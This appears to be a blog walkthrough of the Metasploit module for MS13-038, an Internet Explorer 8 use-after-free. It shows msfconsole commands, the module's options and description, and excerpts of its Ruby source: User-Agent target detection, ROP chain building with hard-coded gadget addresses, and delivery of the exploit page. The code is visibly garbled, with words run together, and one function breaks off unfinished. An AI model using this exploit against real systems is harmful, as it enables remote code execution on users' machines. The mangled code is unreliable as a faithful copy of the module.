# Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/windows/browser/ie_cgenericelement_uaf 2013-05-03 good No MS13-038 Microsoft Internet Explorer CGenericElement Object Use-After-Free Vulnerability 1 \_ target: Automatic . . . . 2 \_ target: IE 8 on Windows XP SP3 . . . . 3 \_ target: IE 8 on Windows Vista . . . . 4 \_ target: IE 8 on Windows Server 2003 . . . . 5 \_ target: IE 8 on Windows 7 . . . .
Interact with a module by name or index. For example info 5, use 5 or use exploit/windows/browser/ie_cgenericelement_uaf After interacting with a module you can manually set a TARGET with set TARGET 'IE 8 on Windows 7'
调用该模块并查看模块详情
1 2
msf6 > use exploit/windows/browser/ie_cgenericelement_uaf msf6 exploit(windows/browser/ie_cgenericelement_uaf) > info
Name: MS13-038 Microsoft Internet Explorer CGenericElement Object Use-After-Free Vulnerability Module: exploit/windows/browser/ie_cgenericelement_uaf Platform: Windows Arch: Privileged: No License: Metasploit Framework License (BSD) Rank: Good Disclosed: 2013-05-03
Provided by: Unknown EMH juan vazquez <juan.vazquez@metasploit.com> sinn3r <sinn3r@metasploit.com>
Available targets: Id Name -- ---- => 0 Automatic 1 IE 8 on Windows XP SP3 2 IE 8 on Windows Vista 3 IE 8 on Windows Server 2003 4 IE 8 on Windows 7
Check supported: No
Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- OBFUSCATE false no Enable JavaScript obfuscation SRVHOST ******* yes The local host or network interface to listen on. This must be an address on the local machi ne or ******* to listen on all addresses. SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) URIPATH no The URI to use for this exploit (default is random)
Description: This module exploits a vulnerability found in Microsoft Internet Explorer. A use-after-free condition occurs when a CGenericElement object is freed, but a reference is kept on the Document and used again during rendering, an invalid memory that's controllable is used, and allows arbitrary code execution under the context of the user.
Please note: This vulnerability has been exploited in the wild on 2013 May, in the compromise of the Department of Labor (DoL) Website.
defget_target(agent) return target if target.name != 'Automatic'
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
ie_name = "IE #{ie}"
case nt when'5.1' os_name = 'Windows XP SP3' when'5.2' os_name = 'Windows Server 2003' when'6.0' os_name = 'Windows Vista' when'6.1' os_name = 'Windows 7' else # OS not supported returnnil end
targets.each do |t| if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) print_status("Target selected as: #{t.name}") return t end end
returnnil end
defget_payload(t, cli) rop_payload = ''
# Extra junk in the end to make sure post code execution is stable. p = payload.encoded
case t['Rop'] when:msvcrt align = "\x81\xc4\x54\xf2\xff\xff"# Stack adjustment # add esp, -3500 rop_payload = '' if t.name == 'IE 8 on Windows XP SP3' rop_payload = generate_rop_payload('msvcrt', align+p, {'target'=>'xp'}) elsif t.name == 'IE 8 on Windows Server 2003' rop_payload = generate_rop_payload('msvcrt', align+p, {'target'=>'2003'}) end
else code = "\x81\xEC\xF0\xD8\xFF\xFF"# sub esp, -10000 code << p code << rand_text_alpha(12000)
rop_payload = generate_rop_payload('java', code) end
return rop_payload end
defload_exploit_html(my_target, cli) case my_target['Rop'] when:msvcrt case my_target.name when'IE 8 on Windows XP SP3' align_esp = Rex::Text.to_unescape([0x77c4d801].pack("V*")) # ADD ESP, 2C; RET xchg_esp = Rex::Text.to_unescape([0x77c15ed5].pack("V*")) # XCHG EAX, ESP, RET when'IE 8 on Windows Server 2003' align_esp = Rex::Text.to_unescape([0x77bde7f6].pack("V*")) xchg_esp = Rex::Text.to_unescape([0x77bcba5e].pack("V*")) end else align_esp = Rex::Text.to_unescape([0x7C3445F8].pack("V*")) xchg_esp = Rex::Text.to_unescape([0x7C348B05].pack("V*")) end
defon_request_uri(cli, request) agent = request.headers['User-Agent'] uri = request.uri print_status("Requesting: #{uri}")
my_target = get_target(agent) if my_target.nil? print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return end
html = load_exploit_html(my_target, cli) html = html.gsub(/^ {4}/, '') print_status("Sending HTML...") send_response(cli, html, {'Content-Type'=>'text/html'}) end end